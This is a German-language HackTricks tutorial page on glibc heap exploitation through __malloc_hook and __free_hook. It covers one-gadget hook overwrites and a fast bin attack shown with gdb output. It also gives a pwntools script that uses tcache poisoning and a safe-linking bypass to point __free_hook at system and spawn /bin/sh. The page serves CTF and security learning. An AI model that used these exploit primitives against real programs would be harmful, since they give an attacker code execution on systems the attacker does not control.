WWW2Exec - __malloc_hook & __free_hook
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Malloc Hook
Wie auf der offiziellen GNU-Seite beschrieben, ist die Variable __malloc_hook
ein Zeiger, der auf die Adresse einer Funktion zeigt, die aufgerufen wird, wann immer malloc()
aufgerufen wird, gespeichert im Datensegment der libc-Bibliothek. Daher, wenn diese Adresse mit einem One Gadget überschrieben wird und malloc
aufgerufen wird, wird der One Gadget aufgerufen.
Um malloc aufzurufen, ist es möglich, darauf zu warten, dass das Programm es aufruft, oder indem man printf("%10000$c")
aufruft, was zu viele Bytes allokiert, sodass libc
malloc aufruft, um sie im Heap zu allokieren.
Weitere Informationen zu One Gadget in:
warning
Beachten Sie, dass Hooks für GLIBC >= 2.34 deaktiviert sind. Es gibt andere Techniken, die in modernen GLIBC-Versionen verwendet werden können. Siehe: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
Dies wurde in einem der Beispiele auf der Seite missbraucht, die einen Fast Bin-Angriff nach einem Unsorted Bin-Angriff ausgenutzt hat:
Es ist möglich, die Adresse von __free_hook
zu finden, wenn die Binärdatei Symbole hat, mit dem folgenden Befehl:
gef➤ p &__free_hook
In dem Beitrag finden Sie eine Schritt-für-Schritt-Anleitung, wie Sie die Adresse des free hooks ohne Symbole lokalisieren können. Zusammenfassend lässt sich sagen, dass in der free-Funktion:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
An der genannten Breakpoint-Stelle im vorherigen Code wird sich die Adresse des free hooks in $eax
befinden.
Jetzt wird ein fast bin attack durchgeführt:
- Zunächst wird entdeckt, dass es möglich ist, mit schnellen Chunks der Größe 200 im
__free_hook
-Bereich zu arbeiten: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Wenn es uns gelingt, einen schnellen Chunk der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
- Dazu wird ein neuer Chunk der Größe
0xfc
erstellt und die zusammengeführte Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe0xfc*2 = 0x1f8
im Fast Bin erhalten. - Dann wird die Edit-Funktion in diesem Chunk aufgerufen, um die
fd
-Adresse dieses Fast Bins so zu ändern, dass sie auf die vorherige__free_hook
-Funktion zeigt. - Anschließend wird ein Chunk der Größe
0x1f8
erstellt, um den vorherigen nutzlosen Chunk aus dem Fast Bin abzurufen, sodass ein weiterer Chunk der Größe0x1f8
erstellt wird, um einen Fast Bin Chunk im__free_hook
zu erhalten, der mit der Adresse dersystem
-Funktion überschrieben wird. - Und schließlich wird ein Chunk, das die Zeichenkette
/bin/sh\x00
enthält, freigegeben, indem die Delete-Funktion aufgerufen wird, wodurch die__free_hook
-Funktion ausgelöst wird, die auf system mit/bin/sh\x00
als Parameter zeigt.
Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32 führte Safe-Linking ein – eine Integritätsprüfung, die die einzel-verketteten Listen schützt, die von tcache und Fast-Bins verwendet werden. Anstelle eines rohen Vorwärtszeigers (fd
) speichert ptmalloc ihn jetzt obfuskiert mit dem folgenden Makro:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Folgen der Ausnutzung:
- Ein heap leak ist zwingend erforderlich – der Angreifer muss den Laufzeitwert von
chunk_addr >> 12
kennen, um einen gültigen obfuskierten Zeiger zu erstellen. - Nur der vollständige 8-Byte-Zeiger kann gefälscht werden; einbyte-partielle Überschreibungen bestehen die Überprüfung nicht.
Ein minimales tcache-poisoning Primitive, das __free_hook
auf glibc 2.32/2.33 überschreibt, sieht daher wie folgt aus:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
Der obige Auszug wurde aus aktuellen CTF-Herausforderungen wie UIUCTF 2024 – «Rusty Pointers» und openECSC 2023 – «Babyheap G» angepasst, die beide auf Safe-Linking-Umgehungen basierten, um __free_hook
zu überschreiben.
Was hat sich in glibc ≥ 2.34 geändert?
Beginnend mit glibc 2.34 (August 2021) wurden die Allokations-Hooks __malloc_hook
, __realloc_hook
, __memalign_hook
und __free_hook
aus der öffentlichen API entfernt und werden vom Allokator nicht mehr aufgerufen. Kompatibilitätssymbole werden weiterhin für Legacy-Binärdateien exportiert, aber das Überschreiben dieser hat keinen Einfluss mehr auf den Kontrollfluss von malloc()
oder free()
.
Praktische Auswirkung: In modernen Distributionen (Ubuntu 22.04+, Fedora 35+, Debian 12 usw.) müssen Sie auf andere Hijack-Primitiven (IO-FILE, __run_exit_handlers
, vtable spraying usw.) umschwenken, da Hook-Überschreibungen stillschweigend fehlschlagen.
Wenn Sie das alte Verhalten für Debugging-Zwecke benötigen, liefert glibc libc_malloc_debug.so
, das vorab geladen werden kann, um die Legacy-Hooks wieder zu aktivieren – aber die Bibliothek ist nicht für die Produktion gedacht und könnte in zukünftigen Versionen verschwinden.
Referenzen
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – Eliminierung eines 20 Jahre alten malloc() Exploit-Primitivs (Check Point Research, 2020)
- glibc 2.34 Versionshinweise – Entfernung der malloc Hooks
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.